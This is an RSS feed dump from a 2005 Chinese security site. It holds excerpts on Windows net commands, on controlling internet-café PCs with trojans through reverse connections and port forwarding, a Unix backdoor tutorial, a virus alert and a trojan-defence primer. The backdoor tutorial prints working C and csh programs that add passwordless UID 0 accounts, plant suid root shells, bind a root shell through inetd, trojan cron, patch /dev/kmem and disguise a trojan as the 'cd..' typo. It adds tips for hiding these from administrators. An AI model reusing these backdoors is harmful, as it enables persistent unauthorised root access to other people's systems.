<BR>/passwordreq:{yes | no} <BR>指定用户帐号是否需要密码，默认值是 yes。 <BR>/profilepath:[path] <BR>设置用户登录配置文件的路径。该路径名指向注册表配置文件。 <BR>/scriptpath:path <BR>为用户登录脚本设置路径。Path 不能是绝对路径； <BR>path 是相对于 %systemroot%SYSTEM32REPLIMPORTSCRIPTS 的相对路径：。 <BR>/times:{times | all} <BR>指定允许用户使用计算机的时间。times 值表示为 day[-day][, day[-day]] , time[-time<BR>][, time[-time]], 增量限制为一小时。Days 可以是全名或简写（M、T、W、Th、F、Sa、S<BR>u）。Hours 可以是 12 小时制或 24 小时制。对于 12 小时值，使用 AM、PM 或 A.M、P.M<BR>。all 表示用户总可以登录。空值表示用户永远不能登录。用逗号分隔日期和时间，分隔时 <BR>间和日期的单位用分号（例如 M,4AM-5PM; T,1PM-3PM）。指定 /times 时不要使用空格。 <BR>/usercomment:"text " <BR>让管理员添加或更改帐号的“用户注释”。用引号引住文字。 <BR>/workstations:{computername[,...] | *} <BR>列出最多八个用户可以登录到网络的工作站。用逗号分隔列表中的多个项。如果 /workstat<BR>ions 没有列表，或如果列表是星号“*”，则用户可以从任何一台计算机登录。 <BR><BR>Net View <BR><BR>显示域列表、计算机列表或指定计算机的共享资源列表。 <BR>net view [\computername | /domain[:domainname]] <BR>net view /network:nw [\computername] <BR>参数 <BR>无 <BR>键入不带参数的 net view 将显示当前域的计算机列表。 <BR>\computername <BR>指定要查看其共享资源的计算机。 <BR>/domain[:domainname] <BR>指定要查看其可用计算机的域。如果省略 domainname ，则显示网络的所有域。 <BR>/network:nw <BR>显示 NetWare 网络中所有可用的服务器。如果指定计算机名，则显示 NetWare 网络中该计<BR>算机的可用资源。也可以用此开关指定添加到系统中的其他网络 
<P>
<CENTER></CENTER>
<P></P></SPAN>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_5.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:52:23 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=5</comments>
	</item>

	<item>
	<title>能否入侵网吧内的电脑的解析</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_6.htm</link>
	<description><![CDATA[&nbsp;&nbsp;&nbsp;<SPAN style="FONT-SIZE: 9pt">首先要说的是国内现在有两种不同类型的网吧，一种是传统的网吧(网吧内的电脑是<BR>有主机和分机之分的，所有分机的要求都要经过主机的处理，然后才会到达internet)<BR>第二种是DDN网吧，这类网吧没有主机和分机之分，所有在网吧内的电脑是共享一条或<BR>多条专线，但每台电脑都有一个静态的IP，而且是直接连接上internet上的。<BR>在第二种类型的网吧中，因为网吧的电脑是直接连上internet的，所以要用木马控制<BR>是完全没有问题的，下面就谈一谈传统网吧<BR>因为传统网吧中，只有主机是连接上internet的，网吧内的其它分机想和internet<BR>进行数据通讯时就必须先向主机提送一个请求，在主机上运行的代理服务程序(wingatesygatewinproxy等等)就会对这些请求进行处理，将处理向internet中发送，当收<BR>到回应时就将数据向那台请求的分机发回去，在这种情况下，主机的作用不但是中介<BR>传送，还可以充当一个<A href="http://www.bingdun.com/" target=_blank>防火墙</A>，因为所有向外(向internet)或向内(向分机)的请求都<BR>必须经过主机的处理，所以所有的请求要到达分机就必须经过主机了，这一点就成了<BR>为什么在家里的单机不能控制到这类型网吧内的分机了。大部份的木马的服务器端<BR>程序在一台电脑上执行后，就会在那台电脑打开一个端口等待客户端的连接，例<BR>如一台在网吧内的电脑执行了冰河，那冰河就在那台电脑打开7626这个端口，然后<BR>就是等待。这里就要解析一下内部IP和外部IP的问题了，在这里类型的肉吧中，每<BR>一台分机都有一个内部IP(由网卡分配的)，内部IP主要是用于在局部网内电脑间的<BR>通讯)，在整个网吧中，所有的电脑都只有一个外部IP的，这外部IP是由主机连接上<BR>internet时网络商分配的。好了，现在假设那台感染冰河的网吧电脑的内部IP是<BR>192.12.12.12，外部IP是61.61.61.61当在家里使用的单机或在网络上的电脑尝<BR>试去连接冰河时，如果使用的IP是192.12.12.12的话，因为192.12.12.12这个IP在<BR>internet上根本不存在的(有几段IP是专用于设置内部IP的)如果这个IP不存在的话<BR>，你就得不到回应了。当你使用61.61.61.61这个IP尝试去连接时，你的连接的请求<BR>首先会被那个网吧的主机收到(主机的<A href="http://www.bingdun.com/" target=_blank>防火墙</A>和中介作用)主机没有感染冰河，所以<BR>你的连接请求马上会被拒绝，连接就失败了，对于这种传统类型的网吧，大部份的木<BR>马都是不可以控制到网吧内的电脑的，下面我们说说要控制网吧内的电脑的可能性.<BR>由上述我们可知道，由外界向网吧内的分机发送连接请求时，主机会拒绝这类的请求的，但如果由网吧内的分机向某个特定的IP发送连接请呢?有什么情形发生呢?<BR>举个例子，某台分机使用浏览器观看www.yahoo.com.cn这个网站时，实质上就是分机<BR>向www.yahoo.com.cn发送一个请求，www.yahoo.com.cn收到请求时就会回应，然后数<BR>据向那台分机发回去，首先这些数据会经过主机，因为是由分机向外提出请求的，当<BR>有数据回应时，主机上的代理服务程序就会将数据向那台分机发去。在这种情况下，<BR>连接就顺利产生了，利用这个由原理，就可以实现控制网吧内电脑的可能性了。蔬菜<BR>的那个木马就是利用这种原理，由木马的服务器端程序向外产生连接(传统木马是由<BR>客户端向服务器端产生连接的)这样就解决问题了。除了蔬菜的木马外，BioNet中的<BR>irc功能亦可以实现这样可能的，不过可能会有些限制。BioNet这个木马中有一个功能<BR>就是irc通知功能，就是当服务器程序启动时，就会向指定的irc服务器上产生连接，<BR>然后在irc内那个指定的房间(channel)内待侯命令，这种情形和拒绝服务攻击那些<BR>等侯命令的服务器是一样的，因为这种连接是由服务器端(感染了木马的那台电脑)<BR>发出的，所以如果网吧内的主机不拒绝分机的这种连接的话(因为irc使用的默认端口<BR>是6667所以主机的服务器程序不一定会允许的，蔬菜的木马是使用ftp那个端口，<BR>那个端口一般是不会拒绝的)这样分机就可以连接上irc的服务器上了，如果可以连接<BR>上的话，连接就已经产生了，这样由irc服务器上向分机发向命令就不再会被主机所<BR>拒绝了，虽然BioNet在irc服务器向木马服务端使用的命令是限的，但起码都有上载，<BR>远程执行和攻击这几个命令在，虽说是命令不够丰富，但因为irc上的限制，有这几<BR>种功能都算是不错的了。还有一个可以控制网吧内电脑的木马是remote-anything，<BR>3.6版以上才有这个功能的，而且有一个条件就是，必须是网吧的主机亦有感染remote<BR>这个木马.在主机上的remote就充当一个"网关"的功能，将向分机的请求都转向到分机<BR>上去，这种功能几乎就是一种端口转向的功能(所谓端口转向功能，就是将对某个端口<BR>的请求转向到其它电脑上例如在主机上运行了一个端口转向的程序，这个程序将会把<BR>所有将向主机7777端口的请求都转向到某台分机上的7626端口去，假设分机的内部IP<BR>是12.12.12.12，而且感染了冰河，打开的端口是7626主机的外部IP是13.13.13.13<BR>那个在主机上运行的端口转向程序将向13.13.13.13端口7777的请求转到12.12.12.12<BR>的7626那个端口去当有人向主机13.13.13.13的7777端口时发送冰河连接的请求时，<BR>这时口转向程序就发生作用了，马上将这个请求转向到那台12.12.12.12.分机上的<BR>7626那个端口去因为12.12.12.12那台分机是感染了冰河的，所以这台分机会马上<BR>作去回应，这样连接就会产生了，亦是说可以使用冰河控制网吧内的分机的)，remote<BR>在主机上的"网关"功能就和上述的端口转向原理是差不多的。虽然说要在主机感染了<BR>remote才可以控制网吧内感染remote的分机是一种限制，但总比没有这个功能要强，<BR>冰河的话，就算网吧主机感染了冰河，分机亦感染木马，你亦是只能够控制主机，根<BR>本是没办法控制分机(除非你是在那个网吧内使用其中的一台分机去控制，这就另当别论<BR>
<P>
<CENTER></CENTER>
<P></P></SPAN>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_6.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:51:40 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=6</comments>
	</item>

	<item>
	<title>后门技巧</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_7.htm</link>
	<description><![CDATA[<SPAN style="FONT-SIZE: 9pt">[初级]<BR><BR>最简单的方法，就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做，因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。<BR><BR>&lt;++&gt; backdoor/backdoor1.c<BR>#include <BR><BR>main()<BR>{<BR>FILE *fd;<BR>fd=fopen("/etc/passwd","a+");<BR>fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");<BR>}<BR>&lt;--&gt;<BR><BR>比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0，并将其第二个域（口令域）设为空。（注意，如果你使用的是较高版本的*nix，也许还要修改 /etc/shadow 文件。）<BR><BR>在 /tmp 目录下放置 suid shell。以后只要你运行这个程序，就会轻易得到根用户权限。这种方法几乎是最受欢迎的了。但有许多系统每几小时，或者每次启动都会清除 /tmp 目录下的数据，另外一些系统则根本不允许运行 /tmp 目录下的 suid 程序。当然，你可以自己修改或清除这些限制（因为你已是根用户，有权限修改 /var/spool/cron/crontabs/root 和 /etc/fstab 文件）。以下是在 /tmp 目录下放置 suid shell 程序的C源程序。<BR><BR>&lt;++&gt; backdoor/backdoor2.c<BR>#include <BR>main()<BR>{<BR>system("cp /bin/sh /tmp/fid");<BR>system("chown root.root /tmp/fid");<BR>system("chmod 4755 /tmp/fid");<BR>}<BR>&lt;--&gt;<BR><BR><BR>[中级]<BR><BR>超级服务器守护进程（inetd）的配置文件。系统管理员一般情况下不经常检查该文件，因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢？当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先，让我们先来了解一下这方面的基础知识：inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：<BR><BR>(1) (2) (3) (4) (5) (6) (7)<BR>ftp stream tcp nowait root /usr/etc/ftpd ftpd<BR>talk dgram udp wait root /usr/etc/ntalkd ntalkd<BR>mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd<BR><BR>1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。<BR>2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。<BR>3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。<BR>4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。<BR>5：第五栏给出运行守护进程的用户名。<BR>6：第六栏给出守护进程的全限定路径名。<BR>7：守护进程的真实名字及其参数。<BR><BR>如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。<BR><BR>一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：<BR><BR>daytime stream tcp nowait root internal<BR><BR>修改为：<BR><BR>daytime stream tcp nowait /bin/sh sh -i.<BR><BR>然后重启（记住：一定要重启）inetd 进程：<BR><BR>killall -9 inetd。<BR><BR>但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）<BR><BR>&lt;++&gt; backdoor/remoteback.c<BR>/* Coders:<BR>Theft<BR><BR>Help from:<BR>Sector9, Halogen<BR><BR>Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen, <BR>Psionic, g0d, Psionic.<BR>Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),<BR>Global Hell(gH), Team Sploit, Hong Kong Danger Duo,<BR>Tg0d, EHAP.<BR>Usage:<BR>Setup: <BR># gcc -o backhore backhore.c # ./backdoor password &amp; <BR>Run: <BR>Telnet to the host on port 4000. After connected you<BR>Will not be prompted for a password, this way it is less<BR>Obvious, just type the password and press enter, after this<BR>You will be prompted for a command, pick 1-8.<BR><BR>Distributers:<BR>Ethical Mutiny Crew<BR><BR>*/<BR><BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR><BR><BR>#define PORT 4000<BR>#define MAXDATASIZE 100<BR>#define BACKLOG 10<BR>#define SA struct sockaddr <BR><BR>void handle(int);<BR><BR>int<BR>main(int argc, char *argv[])<BR>{<BR>int sockfd, new_fd, sin_size, numbytes, cmd;<BR>char ask[10]="Command: ";<BR>char *bytes, *buf, pass[40];<BR>struct sockaddr_in my_addr;<BR><BR>struct sockaddr_in their_addr;<BR><BR>printf("\n Backhore BETA by Theft\n");<BR>printf(" 1: trojans rc.local\n");<BR>printf(" 2: sends a systemwide message\n");<BR>printf(" 3: binds a root shell on port 2000\n");<BR>printf(" 4: creates suid sh in /tmp\n");<BR>printf(" 5: creates mutiny account uid 0 no passwd\n");<BR>printf(" 6: drops to suid shell\n");<BR>printf(" 7: information on backhore\n");<BR>printf(" 8: contact\n");<BR><BR>if (argc != 2) {<BR>fprintf(stderr,"Usage: %s password\n", argv[0]);<BR>exit(1);<BR>}<BR><BR>strncpy(pass, argv[1], 40);<BR>printf("..using password: %s..\n", pass);<BR><BR><BR>if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {<BR>perror("socket");<BR>exit(1);<BR>}<BR><BR>my_addr.sin_family = AF_INET;<BR>my_addr.sin_port = htons(PORT);<BR>my_addr.sin_addr.s_addr = INADDR_ANY;<BR><BR>if (bind(sockfd, (SA *)&amp;my_addr, sizeof(SA)) == -1) {<BR><BR>perror("bind");<BR>exit(1);<BR>}<BR><BR>if (listen(sockfd, BACKLOG) == -1) {<BR>perror("listen");<BR>exit(1);<BR>}<BR><BR>sin_size = sizeof(SA);<BR>while(1) { /* main accept() loop */<BR>if ((new_fd = accept(sockfd, (SA *)&amp;their_addr, &amp;sin_size)) == -1) {<BR>perror("accept");<BR>continue;<BR>}<BR>if (!fork()) {<BR>dup2(new_fd, 0);<BR>dup2(new_fd, 1);<BR>dup2(new_fd, 2);<BR>fgets(buf, 40, stdin);<BR>if (!strcmp(buf, pass)) {<BR>printf("%s", ask);<BR>cmd = getchar();<BR>handle(cmd);<BR>}<BR>close(new_fd);<BR>exit(0);<BR>}<BR>close(new_fd);<BR>while(waitpid(-1,NULL,WNOHANG) &gt; 0); /* rape the dying children */<BR>}<BR>}<BR><BR><BR><BR>void<BR>handle(int cmd)<BR>{<BR>FILE *fd;<BR><BR>switch(cmd) {<BR>case '1':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("Trojaning rc.local\n");<BR>fd = fopen("/etc/passwd", "a+");<BR>fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");<BR>fclose(fd);<BR>printf("Trojan complete.\n");<BR>break;<BR>case '2':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("Sending systemwide message..\n");<BR>system("wall Box owned via the Ethical Mutiny Crew");<BR>printf("Message sent.\n");<BR>break;<BR>case '3':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("\nAdding inetd backdoor... (-p)\n");<BR>fd = fopen("/etc/services","a+");<BR>fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");<BR>fd = fopen("/etc/inetd.conf","a+");<BR>fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");<BR>execl("killall", "-HUP", "inetd", NULL);<BR>printf("\ndone.\n");<BR>printf("telnet to port 2000\n\n");<BR>break;<BR>case '4':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("\nAdding Suid Shell... (-s)\n");<BR>system("cp /bin/sh /tmp/.sh");<BR>system("chmod 4700 /tmp/.sh");<BR>system("chown root:root /tmp/.sh");<BR>printf("\nSuid shell added.\n");<BR>printf("execute /tmp/.sh\n\n");<BR>break;<BR>case '5':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("\nAdding root account... (-u)\n");<BR>fd=fopen("/etc/passwd","a+");<BR>fprintf(fd,"hax0r::0:0::/:/bin/bash\n");<BR>printf("\ndone.\n");<BR>printf("uid 0 and gid 0 account added\n\n");<BR>break;<BR>case '6':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("Executing suid shell..\n");<BR><BR>execl("/bin/sh");<BR>break;<BR>case '7':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("theft@cyberspace.org\n");<BR>printf("\nInfo... (-i)\n");<BR>printf("\n3 - Adds entries to /etc/services &amp; /etc/inetd.conf giving you\n");<BR>printf("a root shell on port 2000. example: telnet 2000\n\n");<BR>printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");<BR>printf("executed gives you a root shell. example:/tmp/.sh\n\n");<BR>printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");<BR>printf("The login is 'mutiny' and there is no passwd.");<BR>break;<BR>case '8':<BR>printf("\nBackhore BETA by Theft\n");<BR>printf("\nhttp://theft.bored.org\n");<BR>printf("theft@cyberspace.org\n\n");<BR>break;<BR>default:<BR>printf("unknown command: %d\n", cmd);<BR>break;<BR>}<BR>}<BR>&lt;--&gt;<BR><BR><BR>[高级]<BR><BR>Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间（月、日、周、时、分）运行。如果你足够聪明，就应该加以利用，使之为我们制造“后门”！通过 Cron 服务，你可以让它在每天凌晨 3:00 （这个时候网管应该睡觉了吧。）运行后门程序，使你能够轻易进入系统干你想干的事，并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中，其格式如下：<BR><BR>(1) (2) (3) (4) (5) (6)<BR>0 0 * * 3 /usr/bin/updatedb <BR><BR>1. 分钟 (0-60)<BR>2. 小时 (0-23)<BR>3. 日 (1-31) <BR>4. 月 (1-12)<BR>5. 星期 (1-7)<BR>6. 所要运行的程序<BR><BR>以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门，只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例：<BR><BR>0 0 * * * /usr/bin/retract<BR><BR>&lt;++&gt; backdoor/backdoor.sh<BR>#!/bin/csh<BR><BR>set evilflag = (`grep eviluser /etc/passwd`) <BR><BR><BR>if(<A href="http://hackbase.com/hacker/hacker/2005081213192.html#" target=_blank>$</A>#evilflag == 0) then <BR><BR>set linecount = `wc -l /etc/passwd`<BR>cd <BR>cp /etc/passwd ./temppass <BR>@ linecount[1] /= 2<BR>@ linecount[1] += 1 <BR>split -<A href="http://hackbase.com/hacker/hacker/2005081213192.html#" target=_blank>$</A>linecount[1] ./temppass <BR>echo "Meb::0:0:Meb:/root:/bin/sh" &gt;&gt; ./xaa<BR>cat ./xab &gt;&gt; ./xaa<BR>mv ./xaa /etc/passwd<BR>chmod 644 /etc/passwd <BR>rm ./xa* ./temppass<BR>echo Done...<BR>else<BR>endif<BR>&lt;--&gt;<BR><BR><BR>[综合]<BR><BR>当然，我们可以编写木马程序，并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例：<BR><BR>&lt;++&gt; backdoor/backdoor3.c<BR>#include <BR>#define pass "triad"<BR>#define BUFFERSIZE 6 <BR><BR>int main(argc, argv)<BR>int argc;<BR>char *argv[];{<BR><BR>int i=0;<BR><BR>if(argv[1]){ <BR><BR>if(!(strcmp(pass,argv[1]))){<BR><BR><BR>system("cp /bin/csh /bin/.swp121");<BR>system("chmod 4755 /bin/.swp121");<BR>system("chown root /bin/.swp121");<BR>system("chmod 4755 /bin/.swp121");<BR>}<BR>}<BR><BR>printf("372f: Invalid control argument, unable to initialize. Retrying");<BR>for(;i&lt;10;i++){ <BR>fprintf(stderr,"."); <BR>sleep(1);<BR>} <BR>printf("\nAction aborted after 10 attempts.\n");<BR>return(0);<BR>}<BR>&lt;--&gt;<BR><BR><BR>[变种]<BR><BR>以下程序通过在内存中寻找你所运行程序的 UID，并将其改为 0，这样你就有了一个 suid root shell 了。<BR><BR>&lt;++&gt; backdoor/kmemthief.c<BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR>#include <BR><BR>#define pass "triad"<BR><BR>struct user userpage;<BR>long address(), userlocation;<BR><BR>int main(argc, argv, envp)<BR>int argc;<BR>char *argv[], *envp[];{<BR><BR>int count, fd;<BR>long where, lseek();<BR><BR>if(argv[1]){ <BR>if(!(strcmp(pass,argv[1]))){<BR>fd=(open("/dev/kmem",O_RDWR);<BR><BR>if(fd&lt;0){<BR>printf("Cannot read or write to<BR>/dev/kmem\n");<BR>perror(argv);<BR>exit(10); <BR>}<BR><BR>userlocation=address();<BR>where=(lseek(fd,userlocation,0);<BR><BR>if(where!=userlocation){<BR>printf("Cannot seek to user page\n");<BR>perror(argv);<BR>exit(20); <BR>}<BR><BR>count=read(fd,&amp;userpage,sizeof(struct user));<BR><BR>if(count!=sizeof(struct user)){<BR>printf("Cannot read user page\n");<BR>perror(argv);<BR>exit(30);<BR>} <BR><BR>printf("Current UID: %d\n",userpage.u_ruid);<BR>printf("Current GID: %d\n",userpage.g_ruid);<BR><BR>userpage.u_ruid=0;<BR>userpage.u_rgid=0;<BR><BR>where=lseek(fd,userlocation,0);<BR><BR>if(where!=userlocation){ <BR>printf("Cannot seek to user page\n");<BR>perror(argv);<BR>exit(40); <BR>}<BR><BR>write(fd,&amp;userpage,((char *)&amp;(userpage.u_procp))-((char *)&amp;userpage));<BR><BR>execle("/bin/csh","/bin/csh","-i",(char *)0, envp);<BR>}<BR>} <BR><BR>} <BR>&lt;--&gt;<BR><BR><BR>[“笨”方法]<BR><BR>你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."？这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢？如果是这样的话，可不可以让他为我们做点“贡献”呢？:) 例如当他输入 "cd.." 时，会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例：<BR><BR>&lt;++&gt; backdoor/dumb.c<BR>/*<BR>本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能，从而骗过管理员。<BR>*/<BR><BR>#include <BR>#include <BR><BR>main()<BR>{<BR>FILE *fd;<BR>fd=fopen("/etc/passwd","a+");<BR>fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");<BR>system("cd");<BR>}<BR>&lt;--&gt;<BR><BR>把上面的程序编译好，放到隐蔽的地方。最好使用 chown 命令将该程序的属主改为 root，使管理员使用 "ls -alF" 命令看到 suid 程序时不至于怀疑。<BR><BR>好了，将这个程序（假设其名为 fid）放好以后，下一步的工作就是建立该程序到 "cd.." 的链接：ln cd.. /bin/out。这样，只要系统管理员犯了这个输入错误，你就可以又一次得到系统控制权了。 
<P>
<CENTER></CENTER>
<P></P></SPAN>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_7.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:50:49 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=7</comments>
	</item>

	<item>
	<title>病毒:谨防灰鸽子和QQ大盗</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_8.htm</link>
	<description><![CDATA[<FONT class=f14 id=zoom>&nbsp; 
<P style="TEXT-INDENT: 2em">今日提醒用户特别注意以下<FONT color=#0066cc>病毒</FONT>:“灰鸽子”(Hack.Huigezi.bk)和“<FONT color=#0066cc>QQ</FONT>大盗”(Troj.<FONT color=#0066cc>QQ</FONT>Pass.dy)。</P>
<P style="TEXT-INDENT: 2em">“灰鸽子”(Hack.Huigezi.bk)是集多种控制方法于一体的黑客、后门病毒。一旦中此病毒，便被后门种植者有效地控制计算机，用户的一举一动都将清晰无疑暴露在后门种植者面前。</P>
<P style="TEXT-INDENT: 2em">“QQ大盗”(Troj.QQPass.dy)木马病毒，巧妙伪装成图片骗取用户点击率，图片弹出即病毒自运行。截取用户QQ号及密码后，关闭大量安全软件，通过自带SMTP引擎发送到指定邮箱。</P>
<P style="TEXT-INDENT: 2em"><STRONG>一、 “灰鸽子”(Hack.Huigezi.bk) 威胁级别:★★</STRONG></P>
<P style="TEXT-INDENT: 2em">病毒特征:这是一个集多种控制方法于一体的黑客、后门病毒。</P>
<P style="TEXT-INDENT: 2em">发作症状:一旦用户中此病毒，就可能被后门种植者有效控制计算机。控制者可利用病毒自动上线功能轻易查找用户电脑IP;控制后攻击者可任意操作用户电脑上的文件，发送多种控制命令，操作本机注册表，获取用户电脑IP地址、地址位置、电脑名称、系统版本、备注等信息，还具有语音监听、语音发送、远程视频监控功能，用户的一举一动都将清晰暴露在后门种植者面前，直接降低系统安全性能。</P>
<P style="TEXT-INDENT: 2em"><STRONG>二、“QQ大盗”(Troj.QQPass.dy) 威胁级别:★★</STRONG></P>
<P style="TEXT-INDENT: 2em">病毒特征:这是一个盗取QQ号的木马病毒。</P>
<P style="TEXT-INDENT: 2em">发作症状:病毒在系统中释放下列文件:</P>
<P style="TEXT-INDENT: 2em">%system%\wiusvt.exe</P>
<P style="TEXT-INDENT: 2em">%system%\temp1.jpg</P>
<P style="TEXT-INDENT: 2em">%system%\winvn.dll，添加到启动项，开机自运行。经巧妙</P>
<P style="TEXT-INDENT: 2em">伪装成图片骗取用户点击，并自动查找QQ窗口。几分钟后，</P>
<P style="TEXT-INDENT: 2em">便向该窗口发送关闭消息;窗口关闭后，若用户重新登陆，则会自动记录用户输入QQ号码和密码。关闭大量安全软件，通过自带SMTP引擎将盗取信息发送到指定邮箱。</P>
<P style="TEXT-INDENT: 2em"><STRONG>金山毒霸安全小贴士:</STRONG></P>
<P style="TEXT-INDENT: 2em">1.盗取游戏帐号和密码的病毒日渐增多，请用户随时开启毒霸防火墙来防止此类病毒的入侵，给您的个人信息和数据提供一个安全的保障。</P>
<P style="TEXT-INDENT: 2em">2.网络的发展，电脑遭受黑客攻击的问题也趋于严重，许多网络病毒采用黑客的方法攻击用户电脑。因此，用户还应该安装个人防火墙软件进行防黑。</P>
<P style="TEXT-INDENT: 2em">3.关注安全<FONT color=#0066cc>网站</FONT>，留意系统更新消息，尽快将有漏洞的系统打上最新补丁，防止病毒利用漏洞传播。 </P></FONT>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_8.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:50:13 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=8</comments>
	</item>

	<item>
	<title>黑客木马入侵个人电脑的方法</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_9.htm</link>
	<description><![CDATA[<TABLE cellSpacing=1 cellPadding=3 width="96%" align=center border=0>
<TBODY>
<TR>
<TD><FONT class=f14 id=zoom>
<P>现在攻击个人电脑的木马软件很多，功能比以前多了，使用也比以前方便多了，所以危害也比以前大了，奇奇发现很多人中了木马自己还不知道，我就写了一点心得，给大家作个参考。 </P>
<P>要想使自己的电脑安全，就好扎好自己的篱笆，看好自己的门，电脑也有自己的门，我们叫它端口。 <BR>你在网络上冲浪，别人和你聊天，你发电子邮件，必须要有共同的协议，这个协议就是TCP/IP协议，任何网络软件的通讯都基于TCP/IP协议。 <BR>如果把互联网比作公路网，电脑就是路边的房屋，房屋要有门你才可以进出TCP/IP协议规定，电脑可以有256乘以256扇门，即从0到65535号“门”，TCP/IP协议把它叫作“端口”。 </P>
<P>当你发电子邮件的时候，E-mail软件把信件送到了邮件服务器的25号端口，当你收信的时候，E-mail软件是从邮件服务器的110号端口这扇门进去取信的，你现在看到的我写的东西，是进入服务器的80端口。新安装好的个人电脑打开的端口号是139端口，你上网的时候，就是通过这个端口与外界联系的。黑客不是神仙，他也是通过端口进入你的电脑的。 </P>
<P><BR>黑客是怎么样进入你的电脑的呢？当然也是基于TCP/IP协议通过某个端口进入你的个人电脑的。 <BR>如果你的电脑设置了共享目录，那么黑客就可以通过139端口进入你的电脑，注意！WINDOWS有个缺陷，就算你的共享目录设置了多少长的密码，几秒钟时间就可以进入你的电脑，所以，你最好不要设置共享目录，不允许别人浏览你的电脑上的资料。 </P>
